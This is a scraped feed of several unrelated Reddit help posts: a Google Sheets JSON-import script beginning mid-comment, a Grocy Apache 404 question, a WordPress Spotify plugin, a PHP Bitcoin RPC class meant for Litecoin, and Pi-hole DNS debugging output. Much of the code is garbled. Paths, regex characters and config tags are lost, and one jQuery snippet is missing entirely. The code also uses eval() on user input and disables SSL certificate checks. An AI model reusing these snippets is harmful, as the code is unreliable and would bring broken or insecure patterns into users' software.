filter expression to apply on the array of JSON objects before returning the results. * Objects that evaluate to true are returned. Objects are referenced as "x" in the expression. * For example: x.Title === 'VP' (This will return true if the Object in the JSON array being * filtered has an attribute named "Title" with a value of "VP".) * @customfunction */ function GETJSON(url, template, takeNum, filterExpression) { var obj = JSONtoObject(url); obj = filterObject(obj, filterExpression); if (takeNum > 0) obj = obj.slice(0, takeNum); return obj.map(mapRows(template)); } /** * Retrieve JSON from a Web API and sort and render the results using a string template. * * @param {"https://thisdavej.com/api/tanks.php"} url * The Web API URL containing the JSON object or array of objects to process * @param {"{{Tank}} {{watertemp.time}} {{watertemp.value}}"} template * The string template for rendering results. Use {{Field1}} to retrieve the value associated * with a JSON attribute called "Field1". Use to split the result into multiple spreadsheet * columns. * @param {"watertemp.valueparseFloat"} sortFields * The name of the JSON field or fields (attributes) to use for sorting. Multiple sort fields * can be included, separated by commas inside one string. Use a minus sign in front of the JSON * field to sort in descending order. Use "" followed by a function to specify a function to be * called on each field prior to making comparisons. For example, enter "watertemp.timedateConvert" * and create a "dateConvert" function to convert strings to date to sort by date. In our tanks * example, the dates will sort correctly alphabetically so this example is somewhat contrived. * @param {"-1"} takeNum * The number of sorted results to return. Use -1 to return all rows. * @param {"x.Tank === 'Tank1'"} filterExpression * The filter expression to apply on the array of JSON objects before returning the results. Objects * that evaluate to true are returned. Objects are referenced as "x" in the expression. For * example: x.Tank === 'Tank1' (This will return true if the Object in the JSON array being filtered * has an attribute named "Tank" with a value of "Tank1".) * @customfunction */ function GETJSON_SORTED(url, template, sortFields, takeNum, filterExpression) { var resolve_field = function(x, field) { var parts = field.split("."); var part = parts.shift(); var obj = x[part]; while ((part = parts.shift())) { if (obj[part] === undefined) return undefined; obj = obj[part]; } return obj; }; function dynamicSort(sField) { var parts = sField.split(/\s*\\s*/); var sPrimer; if (parts.length > 1) sPrimer = parts[1]; var primer = eval(sPrimer); field = parts[0]; if (field[0] === "-") { reverse = true; field = field.substr(1); } else { reverse = false; } var key = primer ? function(x) { return primer(resolve_field(x, field)); } : function(x) { return resolve_field(x, field); }; reverse = !reverse ? 1 : -1; return function(a, b) { return (a = key(a)), (b = key(b)), reverse * ((a > b) - (b > a)); }; } // Leveraged from https://stackoverflow.com/a/4760279 function dynamicSortMultiple(fields) { var props = fields.split(/\s*,\s*/); return function(obj1, obj2) { var i = 0, result = 0, numberOfProperties = props.length; while (result === 0 && i < numberOfProperties) { result = dynamicSort(props[i])(obj1, obj2); i++; } return result; }; } var obj = JSONtoObject(url); obj = filterObject(obj, filterExpression); if (sortFields != undefined) { obj.sort(dynamicSortMultiple(sortFields)); } if (takeNum > 0) obj = obj.slice(0, takeNum); obj = obj.map(mapRows(template)); return obj; } function _minMaxCore(url, field, filterExpression, primer, maximize) { var sortOrder = maximize === true ? "-" : ""; var template = "{{" + field + "}}"; var sPrimer = primer !== undefined ? "" + primer : ""; var sortFields = sortOrder + field + sPrimer; return GETJSON_SORTED(url, template, sortFields, 1, filterExpression); } /** * Retrieve JSON from a Web API and return the maximum value for a given JSON attribute. * * @param {"https://thisdavej.com/api/tanks.php"} url * The Web API URL containing the JSON object or array of objects to process * @param {"watertemp.value"} field * The name of the JSON field to use as a basis for the maximum value * @param {"x.Tank === 'Tank1'"} filterExpression * The filter expression to apply on the array of JSON objects before determining the * maximum value. Objects are referenced as "x" in the expression. For example: x.Tank === 'Tank1' * (This will return true if the Object in the JSON array being filtered has an attribute * named "Tank" with a value of "Tank1".) * @param {"parseFloat"} primer * The function to call on each field prior to making comparisons. For example, create a function * called "dateConvert" to convert strings to dates and enter "dateConvert" as the primer. * In our tanks example, the dates will sort correctly alphabetically so this example is somewhat * contrived. It is not necessary to use the built-in JavaScript "parseFloat" function for * sorting floating point numbers since JavaScript will infer the values as floats. * @customfunction */ function GETJSON_MAX(url, field, filterExpression, primer) { return _minMaxCore(url, field, filterExpression, primer, true); } /** * Retrieve JSON from a Web API and return the minimum value for a given JSON attribute. * * @param {"https://thisdavej.com/api/tanks.php"} url * The Web API URL containing the JSON object or array of objects to process * @param {"watertemp.value"} field * The name of the JSON field to use as a basis for the minimum value * @param {"x.Tank === 'Tank1'"} filterExpression * The filter expression to apply on the array of JSON objects before determining the * minimum value. Objects are referenced as "x" in the expression. For example: x.Tank === 'Tank1' * (This will return true if the Object in the JSON array being filtered has an attribute * named "Tank" with a value of "Tank1".) * @param {"parseFloat"} primer * The function to call on each field prior to making comparisons. For example, create a function * called "dateConvert" to convert strings to dates and enter "dateConvert" as the primer. * In our tanks example, the dates will sort correctly alphabetically so this example is somewhat * contrived. It is not necessary to use the built-in JavaScript "parseFloat" function for * sorting floating point numbers since JavaScript will infer the values as floats. * @customfunction */ function GETJSON_MIN(url, field, filterExpression, primer) { return _minMaxCore(url, field, filterExpression, primer, false); } 
submitted by michaelbierman to googlesheets [link] [comments]


2020.03.31 14:23 gahd95 Cannot access Grocy hosted on Apache. Slim erros?

Hi,
So i have attempted to host Grocy on appache. It works when i run it in docker, but i am not good with docker, using Portainer i do not know how to change the language and my Girlfriend is not good with English.
 
I have followed the guides provided and i have installed grocy to vawww/grocy.domain.com
Also i have my config file which looks like this:
DEFINE base_url grocy.domain.com DEFINE public_url grocy.domain.com DEFINE email [email protected] ServerTokens Prod SSLStaplingCache "shmcb:${APACHE_LOG_DIR}/stapling-cache(150000)" SSLSessionCache "shmcb:${APACHE_LOG_DIR}/ssl_scache(512000)" SSLSessionCacheTimeout 300  ServerName ${public_url} DocumentRoot /vawww/grocy.tmplbgs.com ServerAdmin ${email} RewriteEngine on RewriteCond %{SERVER_NAME} =${public_url} RewriteCond %{HTTPS} off RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [END,NE,R=permanent]   ServerName ${public_url} DocumentRoot /vawww/${public_url}/public ServerAdmin ${email} ErrorLog ${APACHE_LOG_DIR}/${public_url}.error.log CustomLog ${APACHE_LOG_DIR}/${public_url}.access.log combined SSLCertificateFile /etc/letsencrypt/live/${public_url}/fullchain.pem SSLCertificateKeyFile /etc/letsencrypt/live/${public_url}/privkey.pem #Include /etc/letsencrypt/options-ssl-apache.conf ### Forbid the http1.0 protocol ### Protocols h2 http/1.1 Timeout 360 ProxyRequests Off ProxyPreserveHost On ProxyTimeout 600 ProxyReceiveBufferSize 4096 SSLProxyEngine On RequestHeader set Front-End-Https "On" ServerSignature Off SSLCompression Off SSLUseStapling On SSLStaplingResponderTimeout 5 SSLStaplingReturnResponderErrors Off SSLSessionTickets Off RequestHeader set X-Forwarded-Proto 'https' env=HTTPS Header always set Strict-Transport-Security "max-age=15552000; preload" Header always set X-Content-Type-Options nosniff Header always set X-Robots-Tag none Header always set X-XSS-Protection "1; mode=block" Header always set X-Frame-Options "SAMEORIGIN" Header always set Referrer-Policy "strict-origin-when-cross-origin" Header always set Content-Security-Policy-Report-Only "default-src 'self' https:; font-src 'self' data: ${base_url} ${public_url}; media-src 'self' ${base_url} ${public_url}; script-src 'self' 'unsafe-inline' 'unsafe-eval' ${base_url} ${public_url} wasm wasm-eval; style-src 'self' ${base_url} ${public_url} 'unsafe-inline'; img-src 'self' https: data: blob: ${base_url} ${public_url}; worker-src *; frame-src 'none'; connect-src 'self' wss: https: ${base_url} ${public_url};" Header always set Feature-Policy "geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; fullscreen 'self'; payment 'self';" SSLHonorCipherOrder On ### Use next two for very secure connections ### #SSLCipherSuite EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH #SSLProtocol All -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 ### Use next two for secure connections and supports more endpoints ### SSLCipherSuite EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH:ECDHE-RSA-AES128-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA128:DHE-RSA-AES128-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA128:ECDHE-RSA-AES128-SHA384:ECDHE-RSA-AES128-SHA128:ECDHE-RSA-AES128-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES128-SHA128:DHE-RSA-AES128-SHA128:DHE-RSA-AES128-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA384:AES128-GCM-SHA128:AES128-SHA128:AES128-SHA128:AES128-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!RC4 SSLProtocol All -SSLv2 -SSLv3 -TLSv1 -TLSv1.1   Options Indexes FollowSymLinks MultiViews AllowOverride All Order allow,deny allow from all  
This is my config in /vawww/grocy.domain.com/data
 BASE_PATH = /grocy Setting('BASE_PATH', '/grocy.tmplbgs.com'); # The base url of your installation, # should be just "/" when running directly under the root of a (sub)domain # or for example "https://example.com/grocy" when using a subdirectory Setting('BASE_URL', '/'); # The plugin to use for external barcode lookups, # must be the filename without .php extension and must be located in /data/plugins, # see /data/plugins/DemoBarcodeLookupPlugin.php for an example implementation Setting('STOCK_BARCODE_LOOKUP_PLUGIN', 'DemoBarcodeLookupPlugin'); # If, however, your webserver does not support URL rewriting, set this to true Setting('DISABLE_URL_REWRITING', false); # Specify an custom homepage if desired - by default the homepage will be set to the stock overview, # this needs to be one of the following values: # stock, shoppinglist, recipes, chores, tasks, batteries, equipment, calendar, mealplan Setting('ENTRY_PAGE', 'stock'); # Set this to true if you want to disable authentication / the login screen, # places where user context is needed will then use the default (first existing) user Setting('DISABLE_AUTH', false); # Set this to true if you want to disable the ability to scan a barcode via the device camera (Browser API) Setting('DISABLE_BROWSER_BARCODE_CAMERA_SCANNING', false); # Set this if you want to have a different start day for the weekly meal plan view, # leave empty to use CALENDAR_FIRST_DAY_OF_WEEK (see above) # Needs to be a number where Sunday = 0, Monday = 1 and so forth Setting('MEAL_PLAN_FIRST_DAY_OF_WEEK', ''); # Default user settings # These settings can be changed per user, here the defaults # are defined which are used when the user has not changed the setting so far # Night mode related DefaultUserSetting('night_mode_enabled', false); // If night mode is enabled always DefaultUserSetting('auto_night_mode_enabled', false); // If night mode is enabled automatically when inside a given time range (see the two settings below) DefaultUserSetting('auto_night_mode_time_range_from', "20:00"); // Format HH:mm DefaultUserSetting('auto_night_mode_time_range_to', "07:00"); // Format HH:mm DefaultUserSetting('auto_night_mode_time_range_goes_over_midnight', true); // If the time range above goes over midnight DefaultUserSetting('currently_inside_night_mode_range', false); // If we're currently inside of night mode time range (this is not user configurable, but stored as a user setting because it's evaluated client side to be able to use the client time instead of the maybe different server time) # Keep screen on settings DefaultUserSetting('keep_screen_on', false); // Keep the screen always on DefaultUserSetting('keep_screen_on_when_fullscreen_card', false); // Keep the screen on when a "fullscreen-card" is displayed # Stock settings DefaultUserSetting('product_presets_location_id', -1); // Default location id for new products (-1 means no location is preset) DefaultUserSetting('product_presets_product_group_id', -1); // Default product group id for new products (-1 means no product group is preset) DefaultUserSetting('product_presets_qu_id', -1); // Default quantity unit id for new products (-1 means no quantity unit is preset) DefaultUserSetting('stock_expring_soon_days', 5); DefaultUserSetting('stock_default_purchase_amount', 0); DefaultUserSetting('stock_default_consume_amount', 1); DefaultUserSetting('scan_mode_consume_enabled', false); DefaultUserSetting('scan_mode_purchase_enabled', false); # Shopping list settings DefaultUserSetting('shopping_list_to_stock_workflow_auto_submit_when_prefilled', false); // Automatically do the booking using the last price and the amount of the shopping list item, if the product has "Default best before days" set DefaultUserSetting('shopping_list_show_calendar', false); DefaultUserSetting('shopping_list_disable_auto_compact_view_on_mobile', false); # Recipe settings DefaultUserSetting('recipe_ingredients_group_by_product_group', false); // Group recipe ingredients by their product group # Chores settings DefaultUserSetting('chores_due_soon_days', 5); # Batteries settings DefaultUserSetting('batteries_due_soon_days', 5); # Tasks settings DefaultUserSetting('tasks_due_soon_days', 5); # If the page should be automatically reloaded when there was # an external change DefaultUserSetting('auto_reload_on_db_change', true); # Show a clock in the header next to the logo or not DefaultUserSetting('show_clock_in_header', false); # Feature flags # grocy was initially about "stock management for your household", many other things # came and still come by, because they are useful - here you can disable the parts # which you don't need to have a less cluttered UI # (set the setting to "false" to disable the corresponding part, which should be self explanatory) Setting('FEATURE_FLAG_STOCK', true); Setting('FEATURE_FLAG_SHOPPINGLIST', true); Setting('FEATURE_FLAG_RECIPES', true); Setting('FEATURE_FLAG_CHORES', true); Setting('FEATURE_FLAG_TASKS', true); Setting('FEATURE_FLAG_BATTERIES', true); Setting('FEATURE_FLAG_EQUIPMENT', true); Setting('FEATURE_FLAG_CALENDAR', true); # Sub feature flags Setting('FEATURE_FLAG_STOCK_PRICE_TRACKING', true); Setting('FEATURE_FLAG_STOCK_LOCATION_TRACKING', true); Setting('FEATURE_FLAG_STOCK_BEST_BEFORE_DATE_TRACKING', true); Setting('FEATURE_FLAG_STOCK_PRODUCT_OPENED_TRACKING', true); Setting('FEATURE_FLAG_STOCK_PRODUCT_FREEZING', true); Setting('FEATURE_FLAG_SHOPPINGLIST_MULTIPLE_LISTS', true); Setting('FEATURE_FLAG_CHORES_ASSIGNMENTS', true); # Feature settings Setting('FEATURE_SETTING_STOCK_COUNT_OPENED_PRODUCTS_AGAINST_MINIMUM_STOCK_AMOUNT', true); // When set to false, opened products will not be considered for minimum stock amounts 
 
However when i access the page i get this error:
 404 Not Found The application could not run because of the following error: Details Type: Slim\Exception\HttpNotFoundException Code: 404 Message: Not found. File: /vawww/grocy.domain.com/vendoslim/slim/Slim/Middleware/RoutingMiddleware.php Line: 93 Trace #0 /vawww/grocy.domain.com/vendoslim/slim/Slim/Middleware/RoutingMiddleware.php(59): Slim\Middleware\RoutingMiddleware->performRouting() #1 /vawww/grocy.domain.com/vendoslim/slim/Slim/MiddlewareDispatcher.php(140): Slim\Middleware\RoutingMiddleware->process() #2 /vawww/grocy.domain.com/vendoslim/slim/Slim/Middleware/ErrorMiddleware.php(98): [email protected]>handle() #3 /vawww/grocy.domain.com/vendoslim/slim/Slim/MiddlewareDispatcher.php(140): Slim\Middleware\ErrorMiddleware->process() #4 /vawww/grocy.domain.com/vendoslim/slim/Slim/MiddlewareDispatcher.php(81): [email protected]>handle() #5 /vawww/grocy.domain.com/vendoslim/slim/Slim/App.php(211): Slim\MiddlewareDispatcher->handle() #6 /vawww/grocy.domain.com/vendoslim/slim/Slim/App.php(195): Slim\App->handle() #7 /vawww/grocy.domain.com/app.php(81): Slim\App->run() #8 /vawww/grocy.domain.com/public/index.php(3): require_once('/vawww/grocy...') #9 {main} Go Back 
I am not sure how to fix it. Does anybody have an idea?
submitted by gahd95 to grocy [link] [comments]


2020.03.30 20:41 djrasmusp Post meta box data, not showing after save (ajax). but data is saved to the database

Hey im having some trouble with a plugin, im developing. My Client is use theme from Gode Interactive called Mixtape.
Im trying to automating of pulling data from spotify and creating the "Album" custom types with the data. I have no trouble getting the data from spotify an saving it to the database.
When i click on the pull data button in my plugin. It saves the data to the database, and reloads the webpage. But it only shows the data in title, content, thumbnail, not the the fields in theme's post meta boxes. if i reload the page (cmd+r) the post meta boxes are filling with the data.
Is there a way, so that i can make my plugin show the data in the post meta boxes on the pull data "save" ?
My code for pull and saving the data is (I have removed most of the spotify api code):
ajax call
function spotify_jquery() { ?>  
ajax callback
function spotify_ajax(){ $api = new SpotifyWebAPI\SpotifyWebAPI(); $api->setAccessToken($accessToken); try { $post_id = $_POST['post_id']; $data = $api->getAlbum($_POST['id']); $album_image_url = $data->images['0']->url; $album_name = $data->name; $album_artist = $data->artists['0']->name; $tmp = download_url($album_image_url); $file_type = wp_check_filetype( basename($album_image_url . '.jpg'), null ); $file_array = array( 'name' => basename($album_artist . ' - ' . $album_name . '.jpg'), 'type' => $file_type, 'tmp_name' => $tmp ); if (is_wp_error($tmp)) { @unlink($file_array['tmp_name']); return $tmp; }; $file_id = media_handle_sideload($file_array, $post_id); set_post_thumbnail($post_id, $file_id); if (!empty(get_the_title($post_id))) { $post_array = array( 'ID' => $post_id, 'post_status' => 'draft', 'post_title' => $album_artist . ' - ' . $album_name, 'post_name' => $album_name, 'post_date' => $data->release_date . ' 12:00:00' ); } else { $post_array = array( 'ID' => $post_id, 'post_status' => 'draft', 'post_title' => $album_artist . ' - ' . $album_name, 'post_name' => $album_name, 'post_date' => $data->release_date . ' 12:00:00' ); } wp_update_post($post_array); $artists = array(); foreach ($data->tracks->items as $track) { foreach ($track->artists as $artist) { $artists[] = $artist->name; } $mp3_url = $track->preview_url; $mp3_name = $track->name; $mp3_tmp = download_url($mp3_url); $mp3_type = wp_check_filetype(basename($mp3_url . '.mp3'), null); $mp3_array = array( 'name' => basename($album_artist . ' - ' . $mp3_name . '.mp3'), 'type' => $mp3_type, 'tmp_name' => $mp3_tmp ); if (is_wp_error($mp3_tmp)) { @unlink($mp3_array['tmp_name']); return $mp3_tmp; }; media_handle_sideload($mp3_array, $post_id); } $artists = implode(', ', array_unique($artists)); update_post_meta($post_id, 'qodef_album_people', $artists); echo 'done'; } catch (Exception $e) { echo 'Spotify API Error: ' . $e->getMessage(); } }; 
edit: markup
submitted by djrasmusp to Wordpress [link] [comments]


2020.03.14 08:35 Mjjjokes How can I get this script to work for Litecoin 0.8.7.5?

What would I need to do to get this script to work for Litecoin 0.8.7.5? https://github.com/litecoin-project/litecoin/releases/tag/v0.8.7.5
 class Bitcoin { // Configuration options private $username; private $password; private $proto; private $host; private $port; private $url; private $CACertificate; // Information and debugging public $status; public $error; public $raw_response; public $response; private $id = 0; /** * @param string $username * @param string $password * @param string $host * @param int $port * @param string $proto * @param string $url */ function __construct($username, $password, $host = 'localhost', $port = 8332, $url = null) { $this->username = $username; $this->password = $password; $this->host = $host; $this->port = $port; $this->url = $url; // Set some defaults $this->proto = $host == 'localhost' ? 'http':'https'; $this->CACertificate = null; } /** * @param stringnull $certificate */ function setSSL($certificate = null) { $this->proto = 'https'; // force HTTPS $this->CACertificate = $certificate; } function __call($method, $params) { $this->status = null; $this->error = null; $this->raw_response = null; $this->response = null; // If no parameters are passed, this will be an empty array $params = array_values($params); // The ID should be unique for each call $this->id++; // Build the request, it's ok that params might have any empty array $request = json_encode(array( 'method' => $method, 'params' => $params, 'id' => $this->id )); // Build the cURL session $curl = curl_init("{$this->proto}://{$this->username}:{$this->password}@{$this->host}:{$this->port}/{$this->url}"); $options = array( CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 10, CURLOPT_HTTPHEADER => array('Content-type: application/json'), CURLOPT_POST => TRUE, CURLOPT_POSTFIELDS => $request ); if ($this->proto == 'https') { // If the CA Certificate was specified we change CURL to look for it if ($this->CACertificate != null) { $options[CURLOPT_CAINFO] = $this->CACertificate; $options[CURLOPT_CAPATH] = DIRNAME($this->CACertificate); } else { // If not we need to assume the SSL cannot be verified so we set this flag to FALSE to allow the connection $options[CURLOPT_SSL_VERIFYPEER] = FALSE; } } curl_setopt_array($curl, $options); // Execute the request and decode to an array $this->raw_response = curl_exec($curl); $this->response = json_decode($this->raw_response, TRUE); //error_log('this->response: '. print_r($this->response,true)); // If the status is not 200, something is wrong $this->status = curl_getinfo($curl, CURLINFO_HTTP_CODE); // If there was no error, this will be an empty string $curl_error = curl_error($curl); curl_close($curl); if (!empty($curl_error)) { $this->error = $curl_error; } if ($this->response['error']) { // If bitcoind returned an error, put that in $this->error $this->error = $this->response['error']['message']; } elseif ($this->status != 200) { // If bitcoind didn't return a nice error message, we need to make our own switch ($this->status) { case 400: $this->error = 'HTTP_BAD_REQUEST'; break; case 401: $this->error = 'HTTP_UNAUTHORIZED'; break; case 403: $this->error = 'HTTP_FORBIDDEN'; break; case 404: $this->error = 'HTTP_NOT_FOUND'; break; } } if ($this->error) { return FALSE; } return $this->response['result']; } } /* Address History Interface Class */ class AddressHistory { public $address = null; public $n_tx = 0; public $total_sent = 0; public $total_received = 0; public $balance = 0; public $final_balance = 0; public $txns = array(); public function __construct($txn=null) { if(! is_array($txn)) return null; if(array_key_exists('address', $txn)) $this->address = $txn['address']; if(array_key_exists('n_tx', $txn)) $this->n_tx = $txn['n_tx']; if(array_key_exists('total_sent', $txn)) $this->total_sent = $txn['total_sent']; if(array_key_exists('total_received', $txn))$this->total_received = $txn['total_received']; if(array_key_exists('balance', $txn)) $this->balance = $txn['balance']; if(array_key_exists('final_balance', $txn)) $this->final_balance = $txn['final_balance']; if(is_array($txn['txns'])) { foreach($txn['txns'] as $key => $this_txn) { $new_txn = array( 'hash' => $this_txn['hash'], 'block_height' => $this_txn['block_height'], 'value' => $this_txn['value'], 'spent' => $this_txn['spent'], 'spent_by' => $this_txn['spent_by'], 'confirmations'=> $this_txn['confirmations'] ); $this->txns[$key] = new TransRef($new_txn); } } else { $this->txns = null; } return $this; } } /* Transaction Reference Interface Class */ class TransRef { public $hash; public $block_height; public $value; public $spent; public $spent_by; public $confirmations; public function __construct($txnref=null) { if(! is_array($txnref)) return null; if(array_key_exists('hash', $txnref)) $this->hash = $txnref['hash']; if(array_key_exists('block_height', $txnref)) $this->block_height = $txnref['block_height']; if(array_key_exists('value', $txnref)) $this->value = $txnref['value']; if(array_key_exists('spent', $txnref)) $this->spent = $txnref['spent']; if(array_key_exists('spent_by', $txnref)) $this->spent_by = $txnref['spent_by']; if(array_key_exists('confirmations', $txnref)) $this->confirmations = $txnref['confirmations']; return $this; } } /* CoindRPC - JsonRPC Class to talk to bitcoind */ class CoindRPC extends Bitcoin { public function __construct() { return parent::__construct(WN_RPC_USER, WN_RPC_PASS, WN_RPC_HOST, WN_RPC_PORT); } public function __call($method, $params) { return parent::__call($method, $params); } public function get_address_balance($address, $confirmations=0) { try { $address_info = $this->validateaddress($address); if($address_info['isvalid'] == 1 && $address_info['ismine'] == 1) { $balance = $this->getreceivedbyaddress($address, $confirmations); } if($balance != '') { return floatval($balance); } else { return 0; } } catch (Exception $e) { error_log('error: '. print_r($e->getMessage(),true)); error_log('['.__LINE__.'] : '.__FILE__); } } public function get_address_history($address) { try { $address_info = $this->validateaddress($address); if($address_info['isvalid'] == 1 && $address_info['ismine'] == 1) { //- if only listening to one BTC account //$history = $this->listtransactions(WN_RPC_ACCT); $history = $this->listtransactions(); $txns = array(); $final_balance = $balance = 0; foreach($history as $txn) { if($txn['address'] != $address) continue; $n_tx = $total_received = $total_sent = 0; $n_tx = intval($addr_hist['n_tx']) + 1; switch($txn['category']) { case('receive'): $total_received = $addr_hist['total_received'] += $txn['amount']; $balance = $balance + $txn['amount']; //- can we trust final balance here? do we need more history $final_balance = $final_balance + $txn['amount']; break; case('send'): $total_sent = $addr_hist['total_sent'] += $txn['amount']; $balance = $balance + $txn['amount']; //- can we trust final balance here? do we need more history $final_balance = $final_balance + $txn['amount']; break; } $txns[] = array( 'hash' => $txn['txid'], 'value' => $txn['amount'], 'spent' => $txn['spent'], 'spent_by' => $txn['spent_by'], 'confirmations' => $txn['confirmations'], ); } $addr_hist = array( 'address' => $address, 'n_tx' => $n_tx, 'total_sent' => $total_sent, 'total_received' => $total_received, 'balance' => $balance, 'final_balance' => $final_balance, 'txns' => $txns ); $addr_hist = new AddressHistory($addr_hist); } else { $addr_hist = false; error_log('Address invalid: '.$address); error_log('['.__LINE__.'] : '.__FILE__); } return $addr_hist; } catch (Exception $e) { error_log('error: '. print_r($e->getMessage(),true)); error_log('['.__LINE__.'] : '.__FILE__); } } public function get_transaction($hash) { try { return $this->gettransaction($hash); } catch (Exception $e) { error_log('error: '. print_r($e->getMessage(),true)); error_log('['.__LINE__.'] : '.__FILE__); } } } /* Helper class */ class Helper { public static $api = null; public static $db = null; public function __construct($db, $api) { Helper::$api = $api; Helper::$db = $db; } public static function walletnotify_email($txnhead) { //- bitcoind calls walletnotify on 0 confirmations and 1. //- We only want email to go out on the first call. Otherwise //- if we want only one 1 confrime, change this to //- confirmations == 0) return; if($txnhead['confirmations'] > 0) return; $tmpl = file_get_contents('email.notify.tmpl.html'); foreach($txnhead as $key => $val) { $map['{'.$key.'}'] = $val; } $map['{timestamp}'] = date('Y-m-d H:i:s', WN_GLOBAL_TIMESTAMP); $map['{hostname}'] = php_uname('n'); $html = str_replace(array_keys($map), array_values($map), $tmpl); $txid_short = substr($txnhead['txid'], 0, 4).' .. '.substr($txnhead['txid'], -4); $msg = "=WNotify=". "\ntxid: ".$txid_short. "\nAmt : ".$txnhead['amount']. "\nCmnt: ".$txnhead['comment']. "\nAcct: ".$txnhead['account']. "\nConf: ".$txnhead['confirmations']. "\nCat : ".$txnhead['category']. "\nAddr: ".$txnhead['address']. ""; //- send to carrier's email to SMS gateway if configured if(defined('WN_SMS_ADMIN') && filter_var(WN_SMS_ADMIN, FILTER_VALIDATE_EMAIL)) { Helper::send_email_sms($msg, WN_SMS_ADMIN); } return Helper::send_email($html, 'WN:WalletNotify', WN_EMAIL_ADMIN);; } public static function send_email($msg, $subj, $to) { $headers = 'From: '.WN_EMAIL_FROM."\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n"; if(trim($msg) == '') return false; return mail($to, $subj, $msg, $headers); } public static function send_email_sms($msg, $to) { if(trim($msg) == '') return false; if($to == '') return false; $headers = 'From: '.WN_EMAIL_FROM."\r\n"; return mail($to, null, $msg."\n.", $headers); } } 
submitted by Mjjjokes to cryptodevs [link] [comments]


2020.03.02 04:07 outdoorsgeek Weirdness in NULL blocking name resolution

Hi, I'm still a beginner with some of the concepts here, so forgive me if I'm not grokking this all correctly. I'm was trying to diagnose some slowness in page loads after installing a new dockerized pihole onto my network (running on a Pi 4). I assumed it was HTTPS timeouts when trying to load ads or trackers. I thought this wouldn't be an issue with the new-ish NULL blocking default on pihole. Thought I'd try to verify that was working correctly so I did a lookup for a blocked domain from my mac to the docker host (192.168.1.2):
$ nslookup secure.quantserve.com 192.168.1.2 Server: 192.168.1.2 Address: 192.168.1.2#53 Name: secure.quantserve.com Address: 10.254.1.3 
I thought it was weird that I got this seemingly random private IP (10.254.1.3) and didn't get 0.0.0.0 returned. This isn't a subnet that I have in use on my local LAN at all. I peeped the pihole logs and saw the relevant lookup from my mac (192.168.1.51) which looked as expected:
Mar 1 18:25:39 dnsmasq[25275]: query[A] secure.quantserve.com from 192.168.1.51 Mar 1 18:25:39 dnsmasq[25275]: /etc/pihole/gravity.list secure.quantserve.com is 0.0.0.0 
I ran another lookup on a separate windows client and got the same result. So, I tried the same lookup directly on the docker host and this time got the expected result:
$ nslookup secure.quantserve.com 192.168.1.2 Server: 192.168.1.2 Address: 192.168.1.2#53 Name: secure.quantserve.com Address: 0.0.0.0 Name: secure.quantserve.com Address: :: 
Thinking that maybe I didn't have the docker pihole set up correctly, I did a bare-metal install and got the same results. Can anyone explain to me why I'm seeing this behavior? Could this be at the root of my webpage slowness or am I just barking up the wrong tree?
Thanks for your help!
-----
Output of pihole -d from my bare-metal install:
This process collects information from your Pi-hole, and optionally uploads it to a unique and random directory on tricorder.pi-hole.net. The intent of this script is to allow users to self-diagnose their installations. This is accomplished by running tests against our software and providing the user with links to FAQ articles when a problem is detected. Since we are a small team and Pi-hole has been growing steadily, it is our hope that this will help us spend more time on development. NOTE: All log files auto-delete after 48 hours and ONLY the Pi-hole developers can access your data via the given token. We have taken these extra steps to secure your data and will work to further reduce any personal information gathered. *** [ INITIALIZING ] [i] 2020-03-01:18:44:08 debug log has been initialized. *** [ INITIALIZING ] Sourcing setup variables [i] Sourcing /etc/pihole/setupVars.conf... *** [ DIAGNOSING ]: Core version [i] Core: v4.4 (https://discourse.pi-hole.net/t/how-do-i-update-pi-hole/249) [i] Branch: master [i] Commit: v4.4-0-g9e49077 *** [ DIAGNOSING ]: Web version [i] Web: v4.3.3 (https://discourse.pi-hole.net/t/how-do-i-update-pi-hole/249) [i] Branch: master [i] Commit: v4.3.3-0-g62f2ffc *** [ DIAGNOSING ]: FTL version [✓] FTL: v4.3.1 *** [ DIAGNOSING ]: lighttpd version [i] 1.4.53 *** [ DIAGNOSING ]: php version [i] 7.3.14 *** [ DIAGNOSING ]: Operating system [✓] Raspbian GNU/Linux 10 (buster) *** [ DIAGNOSING ]: SELinux [i] SELinux not detected *** [ DIAGNOSING ]: Processor [✓] armv7l *** [ DIAGNOSING ]: Networking [✓] IPv4 address(es) bound to the eth0 interface: 192.168.1.2/24 matches the IP found in /etc/pihole/setupVars.conf [✓] IPv6 address(es) bound to the eth0 interface: fe80::ade6:bec8:324d:e614 does not match the IP found in /etc/pihole/setupVars.conf (https://discourse.pi-hole.net/t/use-ipv6-ula-addresses-for-pi-hole/2127) ^ Please note that you may have more than one IP address listed. As long as one of them is green, and it matches what is in /etc/pihole/setupVars.conf, there is no need for concern. The link to the FAQ is for an issue that sometimes occurs when the IPv6 address changes, which is why we check for it. [i] Default IPv4 gateway: 192.168.1.1 * Pinging 192.168.1.1... [✓] Gateway responded. *** [ DIAGNOSING ]: Ports in use  [80] is in use by lighttpd [80] is in use by lighttpd [53] is in use by pihole-FTL [53] is in use by pihole-FTL [4711] is in use by pihole-FTL [4711] is in use by pihole-FTL *** [ DIAGNOSING ]: Name resolution (IPv4) using a random blocked domain and a known ad-serving domain [✓] openwidedentalmarketing.com is 0.0.0.0 via localhost (127.0.0.1) [✓] openwidedentalmarketing.com is 0.0.0.0 via Pi-hole (192.168.1.2) [✓] doubleclick.com is 10.254.1.3 via a remote, public DNS server (8.8.8.8) *** [ DIAGNOSING ]: Pi-hole processes [✓] lighttpd daemon is active [✓] pihole-FTL daemon is active *** [ DIAGNOSING ]: Setup variables PIHOLE_INTERFACE=eth0 